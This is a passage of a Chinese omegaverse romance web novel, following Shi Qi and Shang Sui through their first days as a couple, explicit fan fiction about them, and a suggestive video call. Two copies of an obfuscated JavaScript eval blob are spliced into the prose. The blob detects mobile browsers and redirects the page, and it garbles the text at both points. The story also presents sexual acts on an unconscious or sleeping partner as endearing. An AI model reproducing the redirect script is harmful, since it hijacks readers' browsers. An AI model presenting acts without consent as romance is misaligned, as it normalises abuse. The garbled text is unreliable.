“你哭起来特别可爱,”商随看着他心虚的模样,“尤其是边哭边说自己要死了的时候。” 时绮:“……” 时绮:“打住,就让昨晚的事情止于昨晚。” “可我忘不掉呢,你站不稳坐下来的样子——” “商随!” 时绮满脸通红,想推开他,对方却像狗一样往他身上凑。 啪的一声,时绮的手掌好巧不巧拍在商随颈侧,甚至不小心触碰到一部分腺体。 打Alpha的腺体,等同于扇耳光。 时绮愣了整整三秒,惊慌失措:“我这回真不是故意的!刚才是在耍你,现在绝对没有!” 商随神色莫测,半真半假问:“小绮怎么还家暴啊?” 他边说边摸了摸自己的颈侧,像在回忆刚才的景象,竟是慢慢笑了。 时绮从没见过这种情况,看着面前这张越发开心的脸,只觉得十分渗人。 他以为商随是气笑的,狠狠心道:“要不你打回来吧,你别憋着。” 交往第一天就发生这种事,时绮也觉得自己像在欺负人,不禁十分抱歉:“你也打我的腺体,或者……打我脸也行。” “那你转过去。” 看来是要打腺体。 时绮原本光脚坐在盥洗台上,闻言准备直接转身,商随却道:“下来,踩我的脚。” 时绮迟疑片刻,轻巧地蹿下。 他怕商随不舒服,只用脚尖点着拖鞋边缘,双手撑住盥洗台,大部分体重压在上面。 见时绮乖乖撑着台面站好,主动将后颈暴露在他眼皮底下,甚至略微弯腰方便他动手。 想起林言以前说时绮脾气大,商随伸手抚摸Omega纤细的脖颈。 这哪里脾气大。 太听话还差不多。 这个姿势保持平衡很费劲,时绮被他摸得起了一身鸡皮疙瘩,总感觉头顶悬挂一把不知何时落下的利剑:“别摸了,你快一点。” 商随手指停顿。 本能令时绮绷紧身体,无意中瞥见镜子里的景象,忍不住按住冰凉的大理石台面。 没事。 就是打一下腺体,不会很痛的。 但是商随力气好像很大…… 他被吊得不上不下,商随冷不丁道:“小绮不好奇吗,在你晕过去之后又发生了什么。” 时绮有些迷茫:“你帮我洗了澡?” “对呀,”他说,“但还有别的,你猜猜看?” 啪—— 伴随说话的声音,商随抽了他的屁股一巴掌。 时绮浑身一颤,脚尖抖了抖。 毫无准备的地方挨了打,他满脸羞红,不可思议扭过头。 “你干什么!”时绮被他弄得晕头转向,“你不是在说别的吗?突然动手干嘛,而且还打我的……” 不是说好打腺体吗,怎么打屁股! 但仔细一想,商随好像根本没说过要动哪里。 时绮总感觉自己被他逗着玩,可一切都是自己提出来的,找不到任何证据。 偏偏商随故意曲解他的意思:“怎么了,是不是疼?我给你揉揉。” 时绮咬着下唇,一双眼睛湿漉漉,模样别扭又委屈。 商随以为他不高兴,从后把他抱起来:“好了,不闹了,我们去吃早餐。” 这次他抱得很温柔,也特意避开了敏感部位,给时绮顺毛:“你还没穿拖鞋,我抱你去床边,然后就让你自己走。” 时绮闷闷嗯了一声。 只有他自己知道,他不是生气,而是…… 在商随说出那句玩笑话后,他居然真的想让对方帮忙揉一揉,或者拍一拍。 喜欢抚摸就算了,怎么现在是个肢体接触就喜欢。 他甩甩脑袋,丢掉这个令人面红耳热的念头,把话题拉回来:“我晕过去之后,你到底做了什么?” 商随却没直接回答:“这么好奇,我们今晚再做一次?” 时绮直觉没好事:“不要。” “真的?” 见商随笑吟吟看向自己,时绮警惕地说:“我也没那么想知道。” 本以为还会过几个来回,商随却干脆利落:“那算了。” “……” 时绮本来不甚在意,商随一反常态结束拉扯,反倒彻底被勾起好奇心。 可话题已然揭过,他不好再主动开口。 除了洗澡,商随还能做什么? 一直到了学校,时绮都时不时想起这件事。 商随把他送到A大门口,自己去了美院。 快到期末,公共课出勤率大幅度提高,许多学生在下面补习专业内容,台上的老师睁只眼闭只眼。 时绮平时听课还算认真,这时优势便体现出来,不用像林言一样临时抱佛脚,对着专业书满脸痛苦。 自从祁江那次过后,他许久没登录过社交账号。 时绮闲来无事,刚一登录,便看见许多人@他。他仔细看了看,原来是在祁江过花朝节时,有人录下了他和商随唱歌时的场景。 不过当时天色较暗,加上拍摄者与他们有一段距离,他和商随的面容都不甚清晰,反倒在灯光里晕出暧昧难言的气氛。 [太甜蜜了呜呜呜呜!如果结尾处有一个亲亲就是完美的,为什么不亲,你俩视线都对上了,给我往死里亲啊!] [虽然看不清脸,但氛围完全是偶像剧,17旁边的是朋友还是男朋友?] [是男友!那天现场有姐妹问过!] [可惜视频有点糊,小绮什么时候给我们看看饲养员的正脸。] 时绮目光稍顿,多看了一眼那个称呼。 饲养员? 商随吗。 [偷偷说一句,长发狼尾的帅哥是我们学校的助教老师,大家放心磕!很势均力敌的两张脸。] [楼上的宝宝抱一抱,我是你对面学校的!今早在校门口看见两位一起从车上下来,想必昨晚十分激烈。] [大胆一点,不用昨晚,在车里就能激烈(黄心)(黄心)(黄心)] [我们猫猫是练过舞的,柔韧性好,什么花样都承受得住。] “……” 眼看她们越说越过分,时绮给原视频点了个赞,又一次庆幸商随不知道他的账号。 他往下划,看见其他评论。 [哼哼,你俩不亲嘴抹茶拌饭老师自有办法让你们亲嘴。] [谢谢抹茶老师带来的绝世好饭,昨晚看了一个通宵,香死了。] 时绮没看懂她们在说什么,心里好奇,顺着大家的讨论点进“抹茶拌饭”的主页。 第一条动态标有18emoji、车emoji,下面附带了一个链接。 @抹茶拌饭:[17早上醒来,腿痛痛的,却并不知道为什么。] 时绮:“?” 怎么跟他今早的情况一模一样? 他点开链接看了一会儿,见文章走向越来越奇怪,才猛地反应过来。 这是他和商随的同人文。 还带了颜色。 因为不知道商随的名字,抹茶拌饭通篇以“男友”作为指代。时绮看着看着逐渐睁大眼睛,终于知道“17”为什么会在和“男友”睡了一晚后双腿酸疼。 原来还能这样…… 不对。 商随不会真的对他做了这种事吧?? 结合早上商随模棱两可的话语,时绮竟是愈发觉得这篇同人文可能阴差阳错道出真相。 稍微想想那个场景,他的脸一点一点热了起来,最后趴在桌上,一动不动。 下课铃打响,林言犹如听见天籁,迫不及待宣布:“今天就学到这里,折磨结束!” 这是下午的最后一节课,周围的学生陆陆续续站起身。 林言见时绮一直趴在桌子上,催促道:“你干嘛呢?跟仓鼠似的,下课了下课了。” 时绮哦了一声,慢吞吞站起来。 路上林言扫了一眼手机,突然爆笑出声: “哎哟宝宝,你真会找刺激!我说你一堂课怎么一声不吭,原来是在给自己找教材。” “你就这么喜欢商随呢?要不你挑个良辰吉日跟他告白吧?我看他对你也有意思,到时候咱们左手教材,右手实操,那才是真正的好日子。” “嗯?”时绮听他叽里呱啦了半天,疑惑道,“你在说什么?” “嗯?”林言也很疑惑,“不是你点的赞吗?抹茶拌饭老师制作的炒饭教材,都推荐到我首页了。” 时绮一愣。 他这才发现,自己不小心给抹茶拌饭点了个赞。 时绮:“……” 他想取消,系统自动刷新,抹茶拌饭的新动态跳了出来: [天哪,宝宝给我点赞了!] [呜呜呜鹅鹅鹅呃呃呃小绮妈妈爱你!!妈妈会更加努力做饭的!!] 时绮手指一顿。 怎么办。 现在取消好像会让她很失望。 时绮只能硬着头皮保留那个赞,在心里安慰自己,反正商随不会看见。 林言边笑边道:“你别说,抹茶老师的作品真是行云流水一气呵成,相当有水平。我今晚回去仔细拜读。” 时绮正想告诉他自己和商随确认了关系,不远处有人在叫他和林言的名字。 时绮转头,看见挥手的秦书赫,还有一旁低头看手机的商随。 商随看得格外专注,唇角微微带着笑意,似乎很开心。时绮忍不住投去视线,想看清楚他在干什么。 然而距离太远,什么都看不清。 商随却在这时忽然抬头,和他四目相对。 时绮莫名有种被抓包的心虚,猛地撇开视线。 片刻过后,他又觉得自己反应太突兀,主动问:“你们怎么来了?” 不会的。 他的账号一直捂得好好的,商随什么都不知道。 比起这个,他更想知道商随到底有没有做那件事。 秦书赫没察觉到时绮的反常,大大咧咧道:“我跟林言准备去上网,刚好碰见哥,我俩就一起过来了。” 林言:“劳逸结合,再学一分钟热力学我将点燃地球。” 他说完又问时绮:“你去上网吗?” 时绮念着抹茶拌饭的大作,加上他的腿的确隐隐传来酸痛,满脑子都是如何逼问商随:“我不去。” 秦书赫遗憾道:“我好久没体验过被你带飞的快乐了。” 时绮头也不抬:“巧了,我也好久没体验过被你带崩的痛苦。” 秦书赫:“……” 商随笑笑,插话道:“小绮,看手机。” 秦书赫立即嚷嚷:“怎么了怎么了!你俩还有小秘密不能告诉我们呢?” 时绮突然说:“我和商随在谈恋爱。” 林言猛地转过头,他看看商随,又看看时绮,凭借多年的默契,给了时绮一个眼神:真在一起了,不是假情侣? 时绮点头。 林言表情千变万化,最后满脸欣慰笑起来,冲他竖起拇指。 秦书赫压根没听出不对:“你们不是本来就在谈恋爱吗?” “是,但不妨碍我今天再通知你一声。” “?”秦书赫疑惑片刻,选择顺从,“嗻。” 他灵光一现,突然想通时绮为什么提起这茬:“我明白了,您和皇后用手机交流秘事,轮不到小的多嘴。” 大家都笑起来,时绮顺势划开手机,低头看了一眼,笑容顿时凝固。 不用他逼问,另一个人已经主动招供。 Ss:[【截图】] Ss:[小绮好聪明,发现真相了呢^^] Ss:[下次在你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322831|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清醒的时候试试吧。] 时绮:“…………” 时绮被吓得险些丢出手机。 商随发来的截图上,账号“1717177”点赞了抹茶拌饭的作品。 一时之间,各式各样的想法冲击脑海,时绮机械地打下一行字。 17:[你是多久知道的?] 隔着屏幕,也能感觉到时绮内心的崩溃。 秦书赫没察觉到他俩之间的暗潮涌动:“对了哥,我听说过年的时候有个展子,老谢想让你参加?” 在首都举办的大型艺术活动或多或少与美院有关,这次艺术展也不例外,由国外知名的大型艺术节与美院联合策展,内容涵盖装置艺术、雕塑、摄影、绘画等多个方面。 按理来说,商随只是助教,又太过年轻,代表专业参展资历不够,但其他老师都没有异议。 秦书赫心想还是他哥专业水平过硬,大家都心服口服。 商随点点头,秦书赫问:“那你有准备好的画作吗?” 商随看了时绮一眼:“有的。” 时绮看起来像是快握不稳手机。商随面色不变,打字回复。 Ss:[游乐场约会后,偶然发现了你的账号。] Ss:[因为不想冒昧打扰,就没有提过,小绮不会怪我吧^^] 时绮看着他的回复,头一次觉得他考虑得太过周到,令这场社死来得猝不及防。 如果早知道商随会看,他一定让大家谨言慎行,至少不要开黄腔。 时绮内心一片苍凉,垂死挣扎。 17:[那你会看大家的留言吗?] 商随直击要害。 Ss:[在车上激烈那条?还是柔韧性那条?] 秦书赫终于察觉到不对:“时绮你怎么了?表情这么奇怪?” 林言看出什么:“你想不想吃冰淇淋?” “啊?大冬天的……” 林言直接把秦书赫拖走:“冬天吃冰淇淋才是对它最大的尊重。” 他俩离开后,时绮更是尴尬,商随却跟没事人一样划开手机:“其实我比较喜欢这个。” 他手机上赫然是抹茶拌饭的主页,却不是时绮今天看的那篇。 这篇新的同人文延续了抹茶拌饭的特色,简洁直白而黄暴。 @抹茶拌饭:[猫耳白丝女仆装。] 时绮脸一热:“你想得美!你穿给我看还差不多。” 商随冲他一笑:“不太好吧,主人。” 时绮:“……” 我看你挺乐在其中的。 时绮沉默片刻,忍不住问:“所以你真的用我的腿……?” 商随像是嫌刺激还不够:“嗯,两次。” 时绮安静片刻,才敢确定自己没听错。 他终于知道腿为什么会这么酸,不可思议地问:“你大半夜不睡觉吗??” “本来没想这样,”商随答非所问,“后面进浴室,你踹了我一下。” 时绮:“?” 我还给你踹兴奋了吗? 商随笑着凑近他的耳朵,小声说了什么。 时绮整整愣住半分钟,一张小脸以肉眼可见的速度变红。 怎么偏偏就踩到了…… “那你疼不疼?” 商随怔然片刻,又笑起来:“不疼,你动作很轻。” 时绮一言不发咬住下唇。 “不介意吧?宝宝。”商随轻声细语道,“你太可爱了,我忍不住。” 他望向时绮,目光缱绻柔和。 商随没有撒谎。 即使是现在,那双狐狸似的眼睛也透出迷恋。 时绮心跳加速,手指攥紧又松开。 “……我要吃冰淇淋。”时绮面无表情道,“降降火气。” 商随被他逗笑,揉揉他的脑袋。 到了gelato店内,时绮在各种色彩缤纷的口味中扫了一圈,毫不犹豫选择:“我要蜂蜜香草味的。” 看出他报复的心思,商随又笑了一声。 在店员挖冰淇淋的间隙,商随轻声问:“你要吃我啊?” 时绮反问:“怎么,我不能吃你吗?” 昏迷的时候被做了那么多奇奇怪怪的事,虽然不介意,却还是有些羞耻。 林言捧着巧克力味的冰淇淋,一副不忍再听的模样:“公共场合,注意影响。” 时绮:“?” 时绮伸出舌头,舔了一小口冰淇淋。 蜂蜜的味道在唇齿间化开,混合香草籽,是他喜欢的口味。 尽管含着冰冰凉凉的冰淇淋,一想到昨晚,时绮脸上好似火烧,连带嘴里也热得不行。 他还记得和商随接吻的滋味,嘴里似乎依稀残留有蜂蜜的甜味。 与那种清甜馥郁的味道相比,手里的冰淇淋显得黯然失色。 时绮不由自主舔了舔齿尖。 他慢吞吞吃着冰淇淋,忽然想到什么,招呼商随:“你过来。” Alpha很听话地靠近他。时绮顺势举高手机,咔嚓一声。 他本来只想拍商随,因为距离太近,不小心拍到自己。 照片上他和商随都是侧面,隔着奶油黄色、用饼干和巧克力装饰成小熊的冰淇淋对视。 商随低头看他,眼睛微微弯起,从这一侧能拍到眼尾的泪痣,令那张稠艳的面庞更为动人。 他自己咬着冰淇淋,抬眸盯着商随看。 出乎意料,这张抓拍的合照比想象中更加生动。 时绮原本想裁掉自己,最后索性用原图。 商随意识到什么,开玩笑问:“我要有名分了?” 时绮昂昂下巴,先是打下“我的”,本想在后面跟上“男朋友”,最后一刻又改变想法。 与男朋友相比,这个称呼好像更有一辈子黏在一起的意味。 他重新打上后两个字,发出合照: @1717177:[我的饲主。] 45.草莓蛋糕 在他按下发送时,商随凑过来。 时绮把手机屏幕放低,方便商随看。 “1717177”的新动态一经发出,无数评论蜂拥而至,大家要么被时绮的介绍萌到、要么被那张合照吸引: [报!17给自己挑选了一位大帅哥饲主,从今天起就是有家室的猫了!] [难怪之前有姐妹说是势均力敌的样貌,一直觉得小绮长得跟精雕细琢的人偶似的,这位也是完美到不真实的长相。] [好可爱的官宣照!好美丽的两张脸!] [本来以为17会比较喜欢长相周正的Alpha?结果男朋友看起来和周正两个字完全不沾边哈哈哈哈哈哈,但是出人意料很相配,就像是猫和蝴蝶、花和蛇、天使恶魔一样的组合。] [而且看猫大人的眼神也太宠溺了,妈妈十分满意!饲主先生一定要好好喂养这只猫啊!] 商随眼里带着笑:“我是你的饲主吗?” 时绮打下这行字的时候不觉得奇怪,在商随嘴里过一遍,就莫名显得旖旎,像是什么不正经的职业。 时绮眼神一闪一闪,抿着唇不说话。 他没什么表情的时候会显得冷淡,但商随知道,他是在害羞。 商随伸手撩开细碎的白金色发丝,揉揉时绮红透的耳朵:“晚上想吃什么?” 一想到时绮主动发了他们的合照,他心里高兴,笑眯眯地补充:“我来尽一下饲主的责任。” “都可以。”时绮迟疑片刻,“吃过晚饭,我想回宿舍住。” 商随:“?” 他脸上的笑意逐渐消失,流露出委屈的神色:“我们交往第一天就要分居吗?” “下周期末考,我想回去看书。” “你看书的时候,我保证不出现,这样可以吗?” “不行。”时绮拒绝得格外干脆。 商随实在不想和他分开,没骨头一样缠了上来:“为什么?不要走嘛,我不会打扰你的。” “小绮、小绮——” 时绮被他叫得身子都快酥软,瞬间理解古代君王不早朝的感受,险些点头同意。 关键时刻,时绮找回理智:“因为我现在没法跟你待在同一个空间只要你在旁边我就想和你亲亲抱抱根本不想做别的。” 他一口气不带喘地说完,见商随愣住:“懂了吗?我控制不住自己。” “懂了,”商随一瞬不瞬注视他,着迷地说,“好可爱。” 时绮:“?” 疯子。 时绮拍板:“好,那就这样。” 商随见他态度坚决,只能同意。 他依依不舍松开手,像下一刻再也见不着似的。时绮都快看笑了。 不得不说,对方的表现令他十分受用。 在一起之前,商随有时候好几天都不会联系他。本以为只有他一个人舍不得分开,结果商随好像比他更严重。 时绮主动说:“白天可以见面,一起吃饭什么的。” 商随忽然道:“小绮可以答应我一件事吗?” “嗯?” “考试结束后,再做一次昨晚的事。”他轻声补充,“在你清醒的时候。” 时绮沉默片刻:“可以。” 他只是想补偿商随。 绝对不是自己好奇。 Alpha唇角漾开笑容,顺势靠上时绮的肩膀,蹭蹭他的脖颈:“你最好了,好喜欢你。” 时绮身体略微僵硬,最后低低应了一声。 等回到宿舍,他伸手触摸自己泛红的颈侧。 如同被念了迷魂咒,稍不留神,就会想起另一个人的甜言蜜语。 时绮嘀咕:“幸好没和他待在一起。” 他逼迫自己静下心,拿出专业书。 临近门禁时间,林言回到宿舍。 看见时绮,他还以为自己眼花:“你怎么回来了?” “期末,”时绮简单回答,“为了我的奖学金。” “太励志了宝宝。”林言满脸钦佩。 时绮的成绩在他们专业名列前茅,系里好几位老师都以为他每天勤学苦读,但林言知道,他只是单纯和高中一样睡不着,没事的时候看书催眠。 不过鉴于自己犯困时看书两眼一抹黑,归根到底,还是时绮脑子比较好使。 “真是一只聪明的猫。”林言慈爱地抚摸他毛茸茸的脑袋,到后面越来越过分,把时绮蓬松柔顺的头发弄得乱七八糟。 时绮忍了忍,看在他夸自己的份上,没把他的手拍开。 “不过商随居然能让你离开,他自制力还挺强的。” 迎着时绮疑惑的目光,林言解释:“你们匹配度不是100%吗?又刚谈上。我上一次见一对匹配度80%的,确认关系之后大做三天,别说期末考,地球毁灭都要抱在一起互啃。” “……” 自从确认关系,商随对他来说仿佛有磁力,令人无时无刻不想靠近。 这种陌生的、强烈的情感如同失控,时绮本能地感到不安。正好遇上期末考,便想让彼此都放松一下。 “你这么一走跟欲擒故纵似的,人家肯定日思夜想。” 时绮想到分别时商随的表现,尽管黏人,却也没林言说的那么夸张:“不至于吧。” “你记得多关心关心他。”林言见时绮懵懵懂懂,好心提醒,“Alpha本来就更重欲,要是不给点甜头,过几天说不定会憋疯的。” 林言说完便去洗澡,时绮正在思考这番话到底是真是假,手机忽然震了震。 姜宥宁:[我们亲爱的在吗?] 17:[1。] 姜宥宁:[我刷到了你的动态。] 姜宥宁:[小安爸爸刚好也在旁边,他凑过来看,关键时刻我挡住了你的账号ID,姐姐够义气吧!] 17:[十分义气。] 17:[谢谢姐姐。] 姜宥宁:[但他看见了你和你男朋友的合照。] 姜宥宁:[他说像花蝴蝶成精,一点儿都不正经。] 17:[?] 姜宥宁:[我也想说,狐狸成精就算了,蝴蝶成精是什么意思?] 时绮正想为商随讨回公道,姜宥宁补充: [但小安爸爸承认他还是有几分姿色,不怪你被蒙蔽双眼,整天神魂颠倒。] 时安一向嘴硬,能让他说出有几分姿色,只能说明商随这张脸实在挑不出一丝差错。 时绮正想回一句“这还差不多”,姜宥宁继续道: [不知道为什么,我看你男朋友隐隐约约有几分不爽,这种感觉就像……怎么说,就像我跟他起过冲突一样?] [按理来说,你男朋友这长相,如果近期见过我绝对不会忘记。] 17:[不会吧?他性格很好的。] 姜宥宁:[实在想不起来,你也知道姐姐记性差。] 姜宥宁:[就当我舍不得有另一个Alpha抢走你吧,嘤。] - 复习的日子一晃而逝,时绮记着林言的话,时不时会给商随发一两条消息、偶尔见面约个饭。 五天过去,他没感觉商随有什么异样,只当林言说的是特例。 殊不知道,自从和他分开,另一个人度日如年,恨不得一睁眼就到他考试结束那天。 如同常年饥渴难捱的人终于获得梦寐以求的珍宝,却又被迫抽离,时绮不在,商随对一切都兴致缺缺。 美院最近结课,他没什么要紧事。谢教授先前让他至少准备三幅作品用于参展,商随干脆去了一趟工作室。 家里的画室太小,不方便储存画作,父母家虽然宽敞,但商随不喜欢老宅的装修风格,市内宁山区风景最好,他便自己在宁山的湖边置办了工作室。 以前回国,除了父母家,他大多数时间都睡在这边。 工作室总共三层,一层楼一半面积是透明的单向落地玻璃,落日斜照入室内,令通透的空间仿佛浸没在暖金色潮水之中。 挑选作品的时候,商随再三犹豫,最后上了三楼。 他轻车熟路走到最里面,从存放架抽出一副画作,许久以后,将画作取下来仔细包裹。 他又挑选好另外两幅画,顺便叫了外卖。 等做完这一切,天色彻底暗下,想着干脆就在这边过夜,商随洗完澡,给时绮发去一条消息: Ss:[皇上今晚复习得怎么样,有空宠幸我一下吗><> 暂时没有回复,他丢掉手机,百无聊赖倒在沙发上发呆。 好想见面。 或许是因为刚确定关系就分开、又或许是下午那幅有意义特殊的画。明明知道不会再像六年前一样分离,焦躁不安的心思却全然抑制不住。 挑选的三幅画中,其中两幅是最近一两年完成度高的画作,另一幅则来自于六年前,夹杂了他说不清道不明的私心。 之所以选择这幅画,是因为…… 商随停下思绪,感觉到信息素有轻微的外溢,自己都有一刹那的惊讶。 但很快的,他又自然而然接受自己快要失控的事实。 想听时绮的声音,想看他的脸。 想要抚摸、亲吻,最好把人压在身下,每一寸肌肤都打上标记。 商随的手指微微动了动,呼吸有些不稳。 想到确认关系那晚,时绮被他逼狠了,哭着问他怎么跟狗一样到处蹭,商随不由自主笑起来,瞳孔深处弥漫开浓厚的欲望。 他还真是。 如果可以,他恨不得把时绮全身上下舔一遍。 手机屏幕倏忽亮起。商随意识到什么,起身抓过手机。 他心心念念的宝贝矜持地回复消息。 17:[可以。] 他按下视频通话请求,那边很快接受。 “商随?”时绮的脸出现在屏幕上,清透明亮的眼睛掠过他的面容,略微停顿。 Alpha眼尾勾着红色,眼下一片桃花晕,沉沉望过来的视线流露出某种黏稠的情感。 商随这副模样无端令人心跳加速,时绮很快联想到他易感期的时候,不禁有些担心:“你怎么了,不舒服吗?” “我没事,只是想看看你。” 他开了口,嗓音黏黏糊糊:“小绮在做什么?” “刚刚写完题。”时绮说着,把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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时绮以为他是指拥抱,心想商随怎么突然这么黏人,红着耳根附和:“我也想你抱我。” 屏幕里的Alpha眯了眯眼,似是受了刺激,许久没有说话。 时绮脑子里闪过一个荒谬的念头,忍不住问:“你在干什么?” 隔了半晌。 商随轻轻喘气,答非所问:“不想就挂掉。” 荒谬的猜想得到验证。时绮整个人愣在原地,脑海中划过林言的话: 不给点甜头,Alpha会憋疯的。 他本来以为商随没受多大影响,结果居然……! 时绮脑子乱成一团,慌乱中不小心打翻手机支架,又立即捡起来。 屏幕翻过来的一瞬,他猝不及防对上商随的脸。 对方直勾勾注视他,仿佛等待已久的捕猎者,眸光半明半暗,透出十足的侵略性。 好、好漂亮。 时绮呆呆望着他,半晌后鬼使神差问:“你……你想要我做什么吗?” 商随唇角轻轻勾起,声音透过耳机,温柔得仿佛呓语:“把手机放回去,对准你的脸。” 时绮如同他手里的提线木偶,一一照做,甚至自发调整好支架的高度。 “好乖,真贴心。” 那边传来甜蜜的夸赞,而后道:“继续吃蛋糕。” 吃蛋糕? 哦,吃蛋糕。 时绮手指微微发抖,他握紧叉子,一口一口,慢慢地吃。 但和刚才不同,时绮如芒在背,草莓酸甜的味道像是变为更加甜腻的蜂蜜,一点一滴滑入喉管。 他先前看书时开了降噪,耳机隔绝外界的响动,只余下他和商随的声音。Alpha的呼吸声混合动听的喘息,仿佛近在咫尺。 时绮的耳根彻底烧起来,想把头埋下去。 “抬头。” 耳机内传来些许动静。时绮进食的动作停顿片刻,抬眸看了他一眼。 视频那端的Alpha懒懒握着手机,靠坐在沙发上。 与看似散漫的姿态不同,他注视过来的眼睛黏死在时绮身上,透露出不加掩饰的兴奋。 “……” 时绮咬紧叉子,实在没法遵从命令,飞速移开目光。 所幸商随没跟他计较。 时绮一边吃、一边想。 这一定是他这辈子吃过最慢的一个蛋糕。 直到他吃完,那边却还没结束。 时绮坐在位置上没动,许久以后,终于大着胆子抬头看了一眼。 四目相对,商随的嗓音透出沙沙的质感,气息紊乱地问:“吃饱了吗?……蛋糕味道怎么样?” “吃饱了,”时绮小声说,“味道很甜。” 他的双颊泛着粉色,如同枝头沉甸甸的桃花。 时绮说话时小小的舌尖一闪而逝,配上他此刻的情态,只是看着,就令人浮想联翩。 商随轻轻哼了一声。 时绮的喉结微微滚动,目光不自觉望向他撩人的面庞。 “谢谢招待。”最后一刻,商随弯眼冲他笑,“我也吃饱了。” 46.打扰 挂掉视频后,时绮的脑海依旧被商随笑起来的模样占据。 告别之前,Alpha隔着屏幕给了他一个晚安吻,黏黏糊糊地说:“爱你宝宝,你真好。” 时绮没法像他一样把甜言蜜语挂在嘴边,只小声道:“晚安。” 先前太过集中注意力,等站起身,时绮才迟钝地发现自己因为这通电话受了多大影响。 尽管他的生殖腔发育得很好,由于腺体退化症,大多数时候这里都没什么感觉,近期却明目张胆昭示存在感,提醒他Omega有别于另外两种性别的体质,是过去从未体会过的滋味。 他咬了咬唇,软着腿,慢吞吞走进浴室。 时绮无意中瞥了一眼镜子,而后呆在原地。 他从没见过自己露出这副表情,双眼潮湿、仿若痴恋。 他刚才就是用这张脸看向商随吗? 简直像在经历发情期一样。 时绮低下头,脸上还没退下的热意又一次席卷而来。 这一次洗澡的时间比以往都长,从浴室出来,时绮彻底没了精力。 他吹干头发,困倦地缩上床。 推开宿舍门,林言还以为自己走错了房间。 以往这个时间正是时绮一天中最有活力的时候,今晚宿舍却早早熄灭大灯,只有一盏时绮特意给他留下的小台灯散发出橙黄的光芒。 “时绮?”林言小声问,“你睡了吗?” 时绮的床铺方向传来微弱的声音。 林言以为他还没睡着:“今天睡这么早?学累了?你别说我在图书馆也差点儿睡着,中途好几次脑袋一点一点,跟高中早自习似的。” 时绮用轻微的声音叫道:“商随……” “嗯?商随今天找过你?” 半天没等到回答,林言忽然反应过来。 噢!是在做梦吧。 仔细想想,自从和商随谈恋爱,时绮好像再也没失眠过。 半年前时绮的病情开始加重,林言嘴上不说,心里却焦躁不安,那时候没人想到会出现这样不可思议的转机。 过去时绮在长命和自由之间选择后者,他自然支持时绮的决定,也知道对方是受不得委屈的性格,如果真的和不喜欢的Alpha被迫绑在一起,两个总得死一个。 但从小一起长大的好朋友活不到五十岁,稍微想一想,庞大的孤独和恐惧便能把人淹没。 时绮查出腺体退化那年,时安最开始不允许任何人透露病情,姜礼也不忍心向小儿子开口。 还是姜宥宁直接把病例拿给时绮,觉得弟弟有权利知晓自己真实的身体状况。 时绮一个人待了三天三夜。大家提心吊胆,生怕他想不开。 到了第四天,姜宥宁开始后悔自己一时冲动。时绮从房间里出来,表现得跟没事人一样。 时安小心翼翼询问他的想法,时绮说他想明白了,也能够接受自己的情况。 反而是林言知晓以后,整整一个月担惊受怕。 他和时绮都怕黑、怕鬼,两个人看鬼片得抱在一块儿。时绮当时顶着稚气未脱的脸,坦然说出自己有腺体退化症,在那个瞬间,林言觉得对方比他认识的所有人都要勇敢。 作为旁观者,他无数次感到喘不过气,时绮承受的压力只多不少。 最害怕的时候,他甚至想对时绮说,你要不要考虑和傅思越凑合一下? 我想你活着,即使我们都七老八十,也想和你做好朋友。 我不想失去你。 …… …… 幸好。 林言笑笑,借着时绮留给他的灯光,轻手轻脚去洗漱。 - 期末结束当天,天空飘落细密的雨丝。 时绮没有带伞,顺手把羽绒服的帽子掀起来遮雨,耳机里传来姜宥宁的声音:“考完试了?我来接你回家吧!” “我想先去商随家住两天。” “噢~你要去找蝴蝶。”姜宥宁拖着声音,“你这一去,我还能再见着你吗?” “……” 姜宥宁知道热恋期的A和O一向难分难舍,没再逗他:“对了,小安爸爸问你今年想去哪里度假,他想找个暖和一点的地方,我们就在当地过年。比如海岛一类的?” 时绮本来想说都可以,话到嘴边临时改口:“祁江?” 尽管碰上了神经病一样的郁知玲,总体来说,他很喜欢繁花锦簇、气候宜人的祁江。 “祁江吗?那也不错,国内方便。” 姜宥宁想到什么:“我们小时候还去过祁江,你记得吗?” “有点印象。”时绮回忆,“是在我分化那年?” 姜宥宁沉默片刻,简单应声,开启另一个话题:“你嫂子本来也要和我们一起度假,但她师父前段时间去世了,对方没什么亲人朋友,就她一个学生。” 姜宥宁的女友是一名记者,时常在世界各地跑新闻,有时候十天半个月见不到一面。 “她忙着处理后事,不知道忙完能不能一起过去……” 挂掉电话,时绮看了眼时间。 商随先前说过自己有事,让他考完试先回家,还问过需不需要司机来接。想着不用那么麻烦,时绮自己叫了车。 才淋过雨,到家后时绮简单洗了个澡。 不知道商随把他的睡衣放在哪里,时绮进衣帽间寻觅一圈一无所获,最后干脆随手抽出一件对方的睡衣。 纯黑的丝质睡衣散发出清淡的桧木香气。时绮原本想连睡裤一起换上,但尺码对他来说不合适,踩着裤腿容易摔跤。 见上衣垂落到大腿,他索性就这样缩到商随的床上。 最近为了期末考天天挑灯夜战,终于撑到一切结束,时绮玩了一会儿手机开始打呵欠。 想到先前交代行程时,商随说过是家里的长辈祝寿,听他的口吻,估计很晚才会回来。时绮决定先睡一觉。 窗外天色彻底暗下,蒙蒙细雨逐渐停止。 迷迷糊糊中,时绮感觉有人在抚摸他的脸。 那人修长的手指带着他喜欢的信息素气味,时绮情不自禁贴近他的手掌,无意识轻蹭。 他的小动作取悦到了对方。隔着轻柔的羽绒被,小山般的重量倏忽压在身上,Alpha修长结实的手臂撑在时绮脸侧,将他完全困住。 时绮动弹不得,微微张开唇,却方便了入侵者。 柔软灵活的舌头长驱直入,吻得难分难舍。时绮薄薄的眼皮微微动了动,仍是沉浸在梦中。 那人见他不醒,反而变本加厉。 